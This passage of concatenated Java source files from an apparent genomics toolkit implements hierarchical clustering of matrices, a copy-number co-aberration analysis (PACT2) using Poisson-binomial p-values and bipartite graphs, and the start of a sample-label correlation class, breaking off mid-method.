rowClustering = (M.rowClustering==null)?null:new HierarchicalClustering(M.rowClustering); colClustering = (M.colClustering==null)?null:new HierarchicalClustering(M.colClustering); rowDistType = M.rowDistType; colDistType = M.colDistType; rowClusteringType = M.rowClusteringType; colClusteringType = M.colClusteringType; doRowClustering = M.doRowClustering; doColClustering = M.doColClustering; } public boolean isRowClustered(){ return (rowClustering == null)?false:true; } public boolean isColClustered(){ return (colClustering == null)?false:true; } public void setRowDistFunc(DistFuncType distFuncType){ rowDistType = distFuncType; } public void setColDistFunc(DistFuncType distFuncType){ colDistType = distFuncType; } public void setRowClusterDistFunc(ClusterDistFuncType clusterDistFuncType){ rowClusteringType = clusterDistFuncType; } public void setColClusterDistFunc(ClusterDistFuncType clusterDistFuncType){ colClusteringType = clusterDistFuncType; } public void performClustering(){ if(doRowClustering){ if(rowClusteringType.equals(ClusterDistFuncType.WARD)){ rowClustering = HierarchicalClustering.getHierarchicalClusteringBasedWardMethod(this); }else{ Dist d; if(rowDistType.equals(DistFuncType.DISSIMILARITY)){ d = getDistBetweenRows(this, 'e'); }else{ d = getDistBetweenRows(this, 'c'); } rowClustering = new HierarchicalClustering(d); rowClustering.setDistFunc(rowDistType); rowClustering.setClusterDistFunc(rowClusteringType); } rowClustering.perform(); reorderRows(rowClustering.getSortedTerminalNodes()); } if(doColClustering){ if(colClusteringType.equals(ClusterDistFuncType.WARD)){ MyMat tmp = new MyMat(this); tmp.transpose(); colClustering = HierarchicalClustering.getHierarchicalClusteringBasedWardMethod(tmp); }else{ Dist d; if(colDistType.equals(DistFuncType.DISSIMILARITY)){ d = getDistBetweenCols(this, 'e'); }else{ d = getDistBetweenCols(this, 'c'); } colClustering = new HierarchicalClustering(d); colClustering.setDistFunc(colDistType); colClustering.setClusterDistFunc(colClusteringType); } colClustering.perform(); reorderCols(colClustering.getSortedTerminalNodes()); } } public ClusteredMyMatViewer getViewer(){ return new ClusteredMyMatViewer(this); } public void setRowClustering(HierarchicalClustering H){ reorderRows(H.getSortedTerminalNodes()); rowClustering = H; } public void setColClustering(HierarchicalClustering H){ reorderCols(H.getSortedTerminalNodes()); colClustering = H; } public void printAsBinary(String outfile) throws FileNotFoundException, IOException{ ObjectOutputStream out = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream(outfile))); out.writeObject(this); out.close(); } public static ClusteredMyMat readFromBinary(String infile) throws FileNotFoundException, IOException, ClassNotFoundException{ ObjectInputStream in = new ObjectInputStream(new BufferedInputStream(new FileInputStream(infile))); ClusteredMyMat M = (ClusteredMyMat)in.readObject(); in.close(); return M; } } <file_sep>/src/snp/.svn/text-base/PACT2.java.svn-base package snp; import java.util.*; import java.io.*; import org.apache.commons.cli.*; import sun.reflect.Reflection; import utility.*; public class PACT2 { SegmentContainerMap SCM; ProbeInfo PI; MyMat M; int segLength; Dist C; Map<String, Double> P; Map<String, Double> minusLogP; List <Double> pp; double cutoff = 0; boolean countLess = false ; double pcutoff = 10; List<BipartiteGraph> BGs; List<BipartiteGraph> BCs; List<String> result; public PACT2 (SegmentContainerMap SCM,ProbeInfo PI){ this.SCM = SCM; this.PI = PI; PI.sort(); M = SCM.toMyMat(PI); } private void setCutoff(double d){ cutoff = d; } private void setCutoffByPercentile(double d){ if(d > 1){ d /= 100; } cutoff = MyFunc.percentile(M.asList(), d); } private void calculatePoiBinParameters(){ pp = new ArrayList<Double>(); for(int j=0; j<M.colSize();j++){ pp.add(0.0); } for(int j=0; j<M.colSize();j++){ for(int i=0; i<M.rowSize();i++){ if(M.get(i,j)>0){ pp.set(j,pp.get(j)+1); } } } for(int j=0; j<M.colSize();j++){ pp.set(j, Math.pow(pp.get(j)/M.rowSize(),2)); } } private void getCoaberrationCount(){ C = new Dist(M.getRowNames()); if(!countLess){ for(int i=0; i<M.rowSize();i++){ for(int j=0; j<i;j++){ int tmp = 0; for(int k=0; k<M.colSize();k++){ if(M.get(i,k) >= cutoff & M.get(j,k) >= cutoff){ tmp++; } } C.set(i, j, tmp); } } }else{ for(int i=0; i<M.rowSize();i++){ for(int j=0; j<i;j++){ int tmp = 0; for(int k=0; k<M.colSize();k++){ if(M.get(i,k) <= cutoff & M.get(j,k) <= cutoff){ tmp++; } } C.set(i, j, tmp); } } } //System.err.println(C); } private void calculatePvalues(){ P = new HashMap<String, Double>(); double M = MyFunc.max(C.asList()); double m = MyFunc.min(C.asList()); List <Integer> kk = new ArrayList<Integer>(); for(int i=(int) m;i<=(int)M;i++){ kk.add(i); } List<Double> pv = PART.getPoissonBinomialPvalue(kk,pp); Map<Integer, Double> kk2pv = new HashMap<Integer, Double>(); for(int i=0; i<kk.size();i++){ kk2pv.put(kk.get(i),pv.get(i)); } for(int i=0; i< C.size();i++){ for(int j=i+1; j< C.size();j++){ double pvalue = kk2pv.get((int)C.get(i,j)); P.put(C.getNames().get(i) + "\t"+ C.getNames().get(j), pvalue); } } } private void calculateMinusLogPvalues(){ minusLogP = new LinkedHashMap<String, Double>(); for(String p: P.keySet()){ double tmp = P.get(p); if(tmp==1){ tmp=0; }else{ tmp = - Math.log10(tmp); } minusLogP.put(p, tmp); } } private void getBipartiteGraphs(){ Map<String, Double> p = minusLogP; Set <String> edge = new HashSet <String>(); Set <String> chr = new HashSet <String>(); for(String s: p.keySet()){ List<String> tmp = MyFunc.split("\t", s); String p1 = tmp.get(0); String p2 = tmp.get(1); if(p.get(s) < pcutoff){ continue; } if(PI.chr(p1)== PI.chr(p2)){ continue; } if(PI.chr(p1) < PI.chr(p2)){ chr.add(PI.chr(p1) + "\t" + PI.chr(p2)); edge.add(p1 + "\t" + p2); }else{ chr.add(PI.chr(p2) + "\t" + PI.chr(p1)); edge.add(p2 + "\t" + p1); } } BGs = new ArrayList <BipartiteGraph>(); for(String c :chr){ List <String> tmp = MyFunc.split("\t", c); int c1 = Integer.valueOf(tmp.get(0)); int c2 = Integer.valueOf(tmp.get(1)); BipartiteGraph BG = new BipartiteGraph(PI.getProbeSetBychr(c1),PI.getProbeSetBychr(c2)); for(String p1: BG.uNames()){ for(String p2: BG.vNames()){ if(edge.contains(p1 + "\t" + p2)){ BG.add(p1, p2); } } } BGs.add(BG); } } private void getBicliques(){ BCs = new ArrayList <BipartiteGraph>(); for(BipartiteGraph BG: BGs){ BCs.addAll(BG.getBicliques(0.7)); } } private void getResult(){ result = new ArrayList<String>(); for(BipartiteGraph bg: BCs){ double d = bg.getDensity(); double maxp = 0; System.err.println(bg); for(String u:bg.uNames()){ for(String v:bg.vNames()){ if(minusLogP.get(u + "\t" + v) > maxp){ maxp = minusLogP.get(u + "\t" + v); } } } int chr = PI.chr(bg.uNames().get(0)); int start = PI.pos(bg.uNames().get(0)); int end = PI.pos(bg.uNames().get(bg.uSize()-1)); int chr2 = PI.chr(bg.vNames().get(0)); int start2 = PI.pos(bg.vNames().get(0)); int end2 = PI.pos(bg.vNames().get(bg.vSize()-1)); result.add(chr + "\t" + start + "\t" + end + "\t" + chr2 + "\t" + start2 + "\t" + end2 + "\t" + maxp + "\t" + d); } } public void perform(){ System.err.println("calculate parameters...."); calculatePoiBinParameters(); System.err.println("count coaberrations...."); getCoaberrationCount(); System.err.println("calculate pvalues...."); calculatePvalues(); calculateMinusLogPvalues(); System.err.println("get bipartile graph...."); getBipartiteGraphs(); System.err.println("get bicleques...."); getBicliques(); System.err.println("get results...."); getResult(); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("c", "cutoff", true, "cutoff for aberration"); options.addOption("o", "outfile", true, "output file name"); options.addOption("t", "thinpi", true, "thin down probe info"); options.addOption("n", "nump", true, "# of psuedo probes"); options.addOption("l", "less", false, "count less than cutoff"); options.addOption("p", "pcutoff", true, "pvalue cutoff"); options.addOption("C", "cutbyper", true, "cutoff by percentile"); options.addOption("b", "bed", false, "gene coordinate file from bed file"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine = null; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] SegFile probeTsvFile", options); System.exit(1); } List <String> argList = commandLine.getArgList(); if(!(argList.size() == 1 | argList.size() == 2)){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] SegFile probeTsvFile", options); System.exit(1); } SegmentContainerMap SCM = new SegmentContainerMap(argList.get(0)); ProbeInfo PI = null; List<String> sample = new ArrayList<String>(SCM.keySet()); if(argList.size() == 2 ){ if(!commandLine.hasOption("b")){ PI = ProbeInfo.getProbeInfoFromTsvFile(argList.get(1)); }else{ PI = GeneInfo.getGeneInfoFromBedFile(argList.get(1)).toProbeInfo(); } if(commandLine.hasOption("t")){ PI.thinDown(Integer.valueOf(commandLine.getOptionValue("t"))); } PI.filter(SCM.get(sample.get(0))); }else{ int n = 100; if(commandLine.hasOption("n")){ n = Integer.valueOf(commandLine.getOptionValue("n")); } PI = SCM.generatePsuedoProbeInfo(n); } PACT2 PACT = new PACT2(SCM, PI); if(commandLine.hasOption("c")){ PACT.setCutoff(Double.valueOf(commandLine.getOptionValue("c"))); } if(commandLine.hasOption("l")){ PACT.countLess = true; } if(commandLine.hasOption("C")){ PACT.setCutoffByPercentile(Double.valueOf(commandLine.getOptionValue("C"))); } if(commandLine.hasOption("p")){ PACT.pcutoff = Double.valueOf(commandLine.getOptionValue("p")); } PACT.perform(); Writer os; if(commandLine.hasOption("o")){ os = new BufferedWriter(new FileWriter(commandLine.getOptionValue("o"))); }else{ os = new PrintWriter(System.out); } os.write("chr1" + "\t" + "start1" + "\t" + "end1" + "\t" + "chr2" + "\t" + "start2" + "\t" + "end2" + "\t" + "maxp" + "\t" + "d"); for(String s:PACT.result){ os.write(s + "\n"); } os.flush(); } } <file_sep>/bin/utility/.svn/text-base/HierarchicalClustering.java.svn-base package utility; import java.io.*; import java.util.*; public class HierarchicalClustering implements Serializable{ private static final long serialVersionUID = 4183693325140498634L; private Dist dist; private MyMat M; private VariableDist clusterDist; private Set <String> terminalNodes; private List<String> sortedTerminalNodes; private Map <String, Set<String>> node2terminalNodes; private Map <String, String[]> node2daughters; private Map <String, String> node2parent; private Map <String, Double> node2dist; private int itr; private int N; public static class ClusterDistFuncType implements Serializable { private static final long serialVersionUID = -1140169245215004688L; private final String name; private ClusterDistFuncType(String name){this.name = name;} public ClusterDistFuncType(ClusterDistFuncType b){this.name = b.name;} @Override public String toString(){return name;} public boolean equals(ClusterDistFuncType b){return name.equals(b.toString());}; public static final ClusterDistFuncType SINGLE = new ClusterDistFuncType("Single"); public static final ClusterDistFuncType COMPLETE = new ClusterDistFuncType("Complete"); public static final ClusterDistFuncType AVERAGE = new ClusterDistFuncType("Average"); public static final ClusterDistFuncType WARD = new ClusterDistFuncType("Ward"); } public static class DistFuncType implements Serializable { private static final long serialVersionUID = 5734173277281865009L; private final String name; private DistFuncType(String name){this.name = name;} public DistFuncType(DistFuncType b){this.name = b.name;} @Override public String toString(){return name;} public boolean equals(DistFuncType b){return name.equals(b.toString());}; public static final DistFuncType DISSIMILARITY = new DistFuncType("Dissimilality"); public static final DistFuncType SIMILARITY = new DistFuncType("Similality"); public static final DistFuncType CORRELATION = new DistFuncType("Correlation"); public static final DistFuncType ABSOLUTE_CORRELATION = new DistFuncType("Absolute_Correlation"); public static final DistFuncType WARD = new DistFuncType("Ward"); } interface DistFunc { double get(String a, String b); } interface ClusterDistFunc{ double get(Set<String> a, Set<String> b); } transient DistFuncType distFuncType; transient DistFunc distFunc; transient ClusterDistFuncType clusterDistFuncType; transient ClusterDistFunc clusterDistFunc; private void setDistFunc2Dissimilarity(){ distFuncType = DistFuncType.DISSIMILARITY; distFunc =new DistFunc (){ public double get(String a, String b){ return dist.get(a,b); } }; } private void setDistFunc2Similarity(){ distFuncType = DistFuncType.SIMILARITY; distFunc =new DistFunc(){ public double get(String a, String b){ return -dist.get(a,b); } }; } private void setDistFunc2Correlation(){ distFuncType = DistFuncType.CORRELATION; distFunc =new DistFunc(){ public double get(String a, String b){ return 1-dist.get(a,b); } }; } private void setDistFunc2AbsoluteCorrelation(){ distFuncType = DistFuncType.ABSOLUTE_CORRELATION; distFunc =new DistFunc(){ public double get(String a, String b){ return 1-Math.abs(dist.get(a,b)); } }; } private void setDistFunc2Ward(){ distFuncType = DistFuncType.WARD; distFunc =new DistFunc(){ public double get(String a, String b){ //return dist.get(a,b); return Math.pow(dist.get(a,b),2)/2; } }; } public void setDistFunc(DistFuncType distFuncType){ if(distFuncType.equals(DistFuncType.DISSIMILARITY)){ setDistFunc2Dissimilarity(); return; } if(distFuncType.equals(DistFuncType.SIMILARITY)){ setDistFunc2Similarity(); return; } if(distFuncType.equals(DistFuncType.CORRELATION)){ setDistFunc2Correlation(); return; } if(distFuncType.equals(DistFuncType.ABSOLUTE_CORRELATION)){ setDistFunc2AbsoluteCorrelation(); return; } } private void setClusterDistFunc2Single(){ clusterDistFuncType = ClusterDistFuncType.SINGLE; clusterDistFunc = new ClusterDistFunc(){ public double get(Set<String> a, Set<String> b){ double min = Double.MAX_VALUE; for(String e1 : a){ for(String e2 : b){ double d = distFunc.get(e1, e2); if(d < min){ min = d; } } } return min; } }; } private void setClusterDistFunc2Complete(){ clusterDistFuncType = ClusterDistFuncType.COMPLETE; clusterDistFunc = new ClusterDistFunc(){ public double get(Set<String> a, Set<String> b){ double max = -Double.MAX_VALUE; for(String e1 : a){ for(String e2 : b){ double d = distFunc.get(e1, e2); if(d > max){ max = d; } } } return max; } }; } private void setClusterDistFunc2Average(){ clusterDistFuncType = ClusterDistFuncType.AVERAGE; clusterDistFunc = new ClusterDistFunc(){ public double get(Set<String> a, Set<String> b){ double ave = 0; for(String e1 : a){ for(String e2 : b){ ave += distFunc.get(e1, e2); } } return ave/(a.size()*b.size()); } }; } private void setClusterDistFunc2Ward(){ clusterDistFuncType = ClusterDistFuncType.WARD; clusterDistFunc = new ClusterDistFunc(){ public double get(Set<String> a, Set<String> b){ List <Double> meanA = M.getRowMeans(new ArrayList<String>(a)); List <Double> meanB = M.getRowMeans(new ArrayList<String>(b)); double tmp = 0; for(int i = 0; i < meanA.size(); i++){ tmp += Math.pow(meanA.get(i)-meanB.get(i),2); } //double tmp2 = 2*(a.size()*b.size())/(a.size()+b.size()); //return Math.pow(tmp*tmp2, 0.5); return (tmp*a.size()*b.size())/(a.size()+b.size()); } }; } public void setClusterDistFunc(ClusterDistFuncType clusterDistFuncType){ if(clusterDistFuncType.equals(ClusterDistFuncType.AVERAGE)){ setClusterDistFunc2Average(); return; } if(clusterDistFuncType.equals(ClusterDistFuncType.COMPLETE)){ setClusterDistFunc2Complete(); return; } if(clusterDistFuncType.equals(ClusterDistFuncType.SINGLE)){ setClusterDistFunc2Single(); return; } } public HierarchicalClustering(){}; public HierarchicalClustering(HierarchicalClustering H){ dist = H.dist; M = H.M; clusterDist = H.clusterDist; distFuncType = H.distFuncType; distFunc = H.distFunc; clusterDistFuncType = H.clusterDistFuncType; clusterDistFunc = H.clusterDistFunc; terminalNodes = H.terminalNodes!=null?new HashSet<String>(H.terminalNodes):null; sortedTerminalNodes = H.sortedTerminalNodes!=null?new ArrayList<String>(H.sortedTerminalNodes):null; node2terminalNodes = H.node2terminalNodes!=null?new HashMap<String, Set<String>>(H.node2terminalNodes):null; node2daughters = H.node2daughters!=null?new HashMap<String, String[]>(H.node2daughters):null; node2parent = H.node2parent!=null?new HashMap<String, String>(H.node2parent):null; node2dist = H.node2dist!=null?new HashMap<String, Double>(H.node2dist):null; itr = H.itr; N = H.N; }; public HierarchicalClustering(Dist dist){ this.dist = dist; terminalNodes = new HashSet<String>(dist.getNames()); node2terminalNodes = new HashMap<String, Set<String>>(); for(String e: terminalNodes){ Set <String> tmp = new HashSet<String>(); tmp.add(e); node2terminalNodes.put(e, tmp); } clusterDist = new VariableDist(new ArrayList<String>(terminalNodes)); itr = 0; N = terminalNodes.size(); node2dist = new HashMap<String, Double>(); node2daughters = new HashMap<String, String[]>(); node2parent = new HashMap<String, String>(); setClusterDistFunc2Average(); setDistFunc2Dissimilarity(); } public static HierarchicalClustering getHierarchicalClusteringBasedWardMethod(MyMat M){ HierarchicalClustering H = new HierarchicalClustering(MyMat.getDistBetweenRows(M, 'e')); H.M = M; H.setClusterDistFunc2Ward(); H.setDistFunc2Ward(); return H; } private void mergePairWithMinDist(){ itr++; List <String> currentCluster = clusterDist.getNames(); double minDist = Double.MAX_VALUE; String[] minPair = new String[2]; for(String s: currentCluster){ for(String t: currentCluster){ if(s.compareTo(t) > 0){ double d = clusterDist.get(s, t); if(d < minDist){ minDist = d; minPair[0] = s; minPair[1] = t; } } } } Set <String> merged = new LinkedHashSet<String>(); merged.addAll(node2terminalNodes.get(minPair[0])); merged.addAll(node2terminalNodes.get(minPair[1])); String nodeName = "node" + itr; node2dist.put(nodeName, minDist); node2daughters.put(nodeName, minPair); node2parent.put(minPair[0], nodeName); node2parent.put(minPair[1], nodeName); node2terminalNodes.put(nodeName, merged); clusterDist.remove(minPair[0]); clusterDist.remove(minPair[1]); Map <String, Double> dist = new HashMap<String, Double>(); for(String e: clusterDist.getNames()){ dist.put(e, clusterDistFunc.get(merged, node2terminalNodes.get(e))); } clusterDist.add(nodeName, dist); } public void perform(){ for(String s: terminalNodes){ for(String t: terminalNodes){ if(s.compareTo(t) > 0){ clusterDist.set(s, t, distFunc.get(s,t)); } } } while(itr < N-1){ mergePairWithMinDist(); } List <Double> d = new ArrayList<Double>(node2dist.values()); double max = MyFunc.max(d); double min = MyFunc.min(d); for(Map.Entry<String, Double> e:node2dist.entrySet()){ e.setValue((e.getValue()-min)/(max-min)); } sortedTerminalNodes = sortDescendants("node" + (N-1)); } //get k clusters based on the dendrogram public List<List <String>> cutTree(int k){ if(k < 2){ return null; } Set <String> ids = new HashSet<String>(); String nextNode = "node" + (N-1); ids.add(node2daughters.get(nextNode)[0]); ids.add(node2daughters.get(nextNode)[1]); for(int i = 1; i<k-1 ; i++){ nextNode = "node" + (N-1-i); ids.remove(nextNode); ids.add(node2daughters.get(nextNode)[0]); ids.add(node2daughters.get(nextNode)[1]); } List < List<String> > clusters = new ArrayList< List<String> >(); for(String s: ids){ clusters.add(new ArrayList<String>(node2terminalNodes.get(s))); } return clusters; } public Map <String, String> getCutTreeMap(int k){ List <List<String>> tmp = cutTree(k); Collections.sort(tmp, new MyComparator()); Map <String, String> tmp2 = new LinkedHashMap<String, String>(); for(int i =0; i < tmp.size(); i++){ for(String s: tmp.get(i)){ tmp2.put(s, "cluster" + (i+1)); } } return tmp2; } protected class MyComparator implements Comparator { public int compare(Object o1, Object o2) { if( ((List)o2).size() >(((List)o1).size())){ return 1; }else if(((List)o2).size() < (((List)o1).size())){ return -1; }else{ return 0; } } } public void writeDendrogramData(String outfile) throws IOException{ PrintWriter os = new PrintWriter(new FileWriter(outfile)); for(int i = 1; i <= N-1; i++){ String id = "node" + i; os.println(id + "\t" + node2daughters.get(id)[0] + "\t" + node2daughters.get(id)[1] + "\t" + node2dist.get(id)); } os.close(); } private LinkedList <String> sortDescendants(String node){ LinkedList <String> sorted; String first = node2daughters.get(node)[0]; String second = node2daughters.get(node)[1]; if(terminalNodes.contains(first)&& terminalNodes.contains(second)){ sorted = new LinkedList<String>(); sorted.add(first); sorted.add(second); return sorted; } if(!terminalNodes.contains(first) && terminalNodes.contains(second)){ sorted = new LinkedList<String>(sortDescendants(first)); String head = sorted.getFirst(); String tail = sorted.getLast(); if(dist.get(head, second) > dist.get(tail, second)){ sorted.addLast(second); }else{ sorted.addFirst(second); } return sorted; } if(terminalNodes.contains(first) && !terminalNodes.contains(second)){ sorted = new LinkedList<String>(sortDescendants(second)); String head = sorted.getFirst(); String tail = sorted.getLast(); if(distFunc.get(head, first) > distFunc.get(tail, first)){ sorted.addLast(first); }else{ sorted.addFirst(first); } return sorted; } sorted = new LinkedList<String>(sortDescendants(first)); LinkedList <String> sorted2 = new LinkedList<String>(sortDescendants(second)); String head = sorted.getFirst(); String tail = sorted.getLast(); String head2 = sorted2.getFirst(); String tail2 = sorted2.getLast(); double d[] = new double[4]; d[0] = distFunc.get(head, head2); d[1] = distFunc.get(head, tail2); d[2] = distFunc.get(tail, head2); d[3] = distFunc.get(tail, tail2); double minD = d[0]; int minI = 0; for(int i = 1; i < 4; i++){ if(d[i] < minD){ minD = d[i]; minI = i; } } switch(minI){ case 0: Collections.reverse(sorted); sorted.addAll(sorted2); return sorted; case 1: Collections.reverse(sorted); Collections.reverse(sorted2); sorted.addAll(sorted2); return sorted; case 2: sorted.addAll(sorted2); return sorted; case 3: Collections.reverse(sorted2); sorted.addAll(sorted2); return sorted; default: return null; } } public List <String> getSortedTerminalNodes(){ return sortedTerminalNodes; } public List <String> getTerminalNodes(String node){ return new ArrayList <String> (node2terminalNodes.get(node)); } public List <String> getDownstreamNodes(String node){ List <String> tmp = new ArrayList <String>(); if(node2daughters.containsKey(node)){ String d1 = node2daughters.get(node)[0]; String d2 = node2daughters.get(node)[1]; tmp.add(d1); tmp.add(d2); tmp.addAll(getDownstreamNodes(d1)); tmp.addAll(getDownstreamNodes(d2)); return tmp; }else{ return tmp; } } private List <String> getUpstreamNodes(List <String> node){ Set <String> tmp = new HashSet<String>(); boolean update = false; for(String s: node){ if(node2parent.containsKey(s) ){ String parent = node2parent.get(s); if(!tmp.contains(parent) & node.contains(node2daughters.get(parent)[0]) & node.contains(node2daughters.get(parent)[1])){ tmp.add(parent); update = true; } } } List <String> tmp2 = new ArrayList<String>(tmp); if(update){ tmp2.addAll(getUpstreamNodes(tmp2)); } return tmp2; } private String getUpstreamCommonTopNodes(List<String> node){ Set <String> tmp = new HashSet <String>(getUpstreamNodes(node)); String top = null; for(int i = N-1; i> 0; i--){ if(tmp.contains("node" + i)){ top = "node" + i; } } return top; } public Map <String, String[]> getNode2daughterMap(){ return node2daughters; } public Map <String, Double> getNode2distMap(){ return node2dist; } public Map <String, String> getNode2parentMap(){ return node2parent; } public HierarchicalClustering getSubHierarchicalClustering(String node){ HierarchicalClustering H = new HierarchicalClustering(); H.terminalNodes = node2terminalNodes.get(node); H.sortedTerminalNodes = new ArrayList <String>(); for(String n:sortedTerminalNodes){ if(H.terminalNodes.contains(n)){ H.sortedTerminalNodes.add(n); } } Set <String> middle = new HashSet<String>(getDownstreamNodes(node)); middle.removeAll(H.terminalNodes); Set <String> topAndMiddle = new HashSet<String>(middle); topAndMiddle.add(node); Map <String, String> old2new = new HashMap<String,String>(); int j = 1; for(int i = 1; i < terminalNodes.size(); i++){ if(topAndMiddle.contains("node" + i)){ old2new.put("node" + i, "node" + j); j++; } } H.node2terminalNodes = new HashMap<String, Set<String>>(); H.node2daughters = new HashMap<String, String[]>(); for(String s: topAndMiddle){ String s2 = old2new.get(s); H.node2terminalNodes.put(s2, node2terminalNodes.get(s)); String[] tmp = node2daughters.get(s); String[] tmp2 = new String[2]; if(H.terminalNodes.contains(tmp[0])){ tmp2[0] = tmp[0]; }else{ tmp2[0] = old2new.get(tmp[0]); } if(H.terminalNodes.contains(tmp[1])){ tmp2[1] = tmp[1]; }else{ tmp2[1] = old2new.get(tmp[1]); } H.node2daughters.put(s2, tmp2); } H.node2parent = new HashMap<String, String>(); for(String s: terminalNodes){ H.node2parent.put(s, old2new.get(node2parent.get(s))); } for(String s: middle){ String s2 = old2new.get(s); H.node2parent.put(s2, old2new.get(node2parent.get(s))); } H.node2dist = new HashMap<String, Double>(); for(String s: topAndMiddle){ String s2 = old2new.get(s); H.node2dist.put(s2, node2dist.get(s)); } List <Double> d = new ArrayList<Double>(H.node2dist.values()); double max = MyFunc.max(d); double min = MyFunc.min(d); for(Map.Entry<String, Double> e:H.node2dist.entrySet()){ e.setValue((e.getValue()-min)/(max-min)); } /*H.dist = dist.getSubDist(H.sortedTerminalNodes); if(M != null){ H.M = M.getSubMatByRow(sortedTerminalNodes); } H.clusterDist = clusterDist.getSubVariableDist(sortedTerminalNodes);*/ return H; } public HierarchicalClustering getSubHierarchicalClusteringFromCuttingTreeMap( Map <String, String> gene2cluster){ HierarchicalClustering H = new HierarchicalClustering(); H.terminalNodes = new HashSet <String>(gene2cluster.values()); Set <String> middle = new HashSet<String>(getUpstreamNodes(new ArrayList<String>(gene2cluster.keySet()))); Set <String> topAndMiddle = new HashSet<String>(middle); middle.remove("node" + (N-1)); Map <String, List <String>> cluster2gene = new HashMap<String, List<String>>(); for(String c: gene2cluster.values()){ cluster2gene.put(c, new ArrayList<String>()); } for(String g: gene2cluster.keySet()){ cluster2gene.get(gene2cluster.get(g)).add(g); } Map <String, String> old2new = new HashMap<String,String>(); int j = 1; for(int i = 1; i < terminalNodes.size(); i++){ if(topAndMiddle.contains("node" + i)){ old2new.put("node" + i, "node" + j); j++; } } for(String c: cluster2gene.keySet()){ String tmp = getUpstreamCommonTopNodes(cluster2gene.get(c)); old2new.put(tmp,c); } H.node2terminalNodes = new HashMap<String, Set<String>>(); H.node2daughters = new HashMap<String, String[]>(); for(String s: topAndMiddle){ String s2 = old2new.get(s); List<String> tmp3 = getDownstreamNodes(s); tmp3.retainAll(gene2cluster.keySet()); Set<String> tmp4 = new HashSet<String>(); for(String t: tmp3){ tmp4.add(old2new.get(t)); } H.node2terminalNodes.put(s2, tmp4); String[] tmp = node2daughters.get(s); String[] tmp2 = new String[2]; tmp2[0] = old2new.get(tmp[0]); tmp2[1] = old2new.get(tmp[1]); H.node2daughters.put(s2, tmp2); } H.node2parent = new HashMap<String, String>(); for(String s: gene2cluster.keySet()){ H.node2parent.put(old2new.get(s), old2new.get(node2parent.get(s))); } for(String s: middle){ String s2 = old2new.get(s); H.node2parent.put(s2, old2new.get(node2parent.get(s))); } H.node2dist = new HashMap<String, Double>(); for(String s: topAndMiddle){ String s2 = old2new.get(s); H.node2dist.put(s2, node2dist.get(s)); } List <Double> d = new ArrayList<Double>(H.node2dist.values()); double max = MyFunc.max(d); double min = MyFunc.min(d); for(Map.Entry<String, Double> e:H.node2dist.entrySet()){ e.setValue((e.getValue()-min)/(max-min)); } H.sortedTerminalNodes = new ArrayList<String>(); for(String s: sortedTerminalNodes){ H.sortedTerminalNodes.add(gene2cluster.get(s)); } H.sortedTerminalNodes = MyFunc.uniq(H.sortedTerminalNodes); return H; } } <file_sep>/src/utility/SampleLableCorrelation.java package utility; import java.util.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; public class SampleLableCorrelation{ private MyMat Exp; private Map <String, String> sampleLabel; private Map <String, Double> corScore; private Map <String, Double> Pvalue; private Map <String, Double> Qvalue; private List <String> genes; private int itrForNullDist; private Double PvalueCutoff = null; private Double QvalueCutoff = null; private boolean minusLogScale = false; public void setPvalueCutoff(double d){ PvalueCutoff = d; } public void setQvalueCutoff(double d){ QvalueCutoff = d; } public void outputInMinusLogScale(){ minusLogScale = true; } private interface CorFunc{ double get(String rowId); } private CorFunc corFunc; //calculate correlation using T statistics private class CorFuncForTwoGroups implements CorFunc{ private String label1; private String label2; private List <String> group1; private List <String> group2; public CorFuncForTwoGroups() { List <String> tmp = MyFunc.uniq(new ArrayList<String>(sampleLabel.values())); Collections.sort(tmp); label1 = tmp.get(0); label2 = tmp.get(1); group1 = new ArrayList<String>(); group2 = new ArrayList<String>(); for(Map.Entry<String, String> e: sampleLabel.entrySet()){ if(e.getValue().equals(label1)){ group1.add(e.getKey()); }else{ if(e.getValue().equals(label2)){ group2.add(e.getKey()); } } } } public double get(String rowId){ List <Double> value1 = new ArrayList<Double>(); List <Double> value2 = new ArrayList<Double>(); int i; for(i = 0; i < group1.size(); i++){ value1.add(Exp.get(rowId, group1.get(i))); } for(i = 0; i < group2.size(); i++){ value2.add(Exp.get(rowId, group2.get(i))); } return MyFunc.tStatistic(value1, value2); } } //calculate correlation using F statistics in ANOVA test private class CorFuncForMultipleGroups implements CorFunc{ private Map <String, List<String>> group; public CorFuncForMultipleGroups(){ group = new HashMap<String, List<String>>(); for(Map.Entry<String, String> e: sampleLabel.entrySet()){ if(group.containsKey(e.getValue())){ group.get(e.getValue()).add(e.getKey()); }else{ List <String> tmp = new ArrayList<String>(); tmp.add(e.getKey()); group.put(e.getValue(), tmp); } } } public double get(String rowId){ List <List <Double>> X = new ArrayList<List <Double>>(); for(List <String> s: group.values()){ List <Double> tmp = new ArrayList<Double>(); for(String t:s){ tmp.add(Exp.get(rowId, t)); } X.add(tmp); } return MyFunc.ANOVAStatistics(X); } } //calculate correlation using Pearson Coefficient private class CorFuncForContinuousLabel implements CorFunc{ private List <String> samples; private List <Double> labels; public CorFuncForContinuousLabel() { List <Double> tmp = new ArrayList<Double>(); labels = new ArrayList<Double>(); samples = new ArrayList<String>(); for(Map.Entry<String, String> e: sampleLabel.entrySet()){ tmp.add(Double.valueOf(e.getValue())); samples.add(e.getKey()); } ; double m = MyFunc.mean(tmp); double sd = MyFunc.sd(tmp); for(Double d: tmp){ labels.add((d - m)/ sd); } } public double get(String rowId){ List <Double> v = new ArrayList<Double>(); for(String s: samples){ v.add(Exp.get(rowId,s)); } double c = MyFunc.pearsonCorrelationForNormarizedList(v, labels); if(Double.isNaN(c)){ //System.err.println(v); } if(c >= 1){ return Double.MAX_VALUE; }else if(c <= -1){ return -Double.MAX_VALUE; }else{ return 0.5*Math.log((1+c)/(1-c)); } } } public SampleLableCorrelation(MyMat Exp){ this.Exp = new MyMat(Exp); sampleLabel = new HashMap<String, String>(); genes = new ArrayList<String>(Exp.getRowNames()); corScore = new HashMap<String, Double>(); Pvalue = new HashMap<String, Double>(); Qvalue = new HashMap<String, Double>(); itrForNullDist = (int)Math.round(100000.0/Exp.rowSize()); } public void setItrForNullDist(int i){ 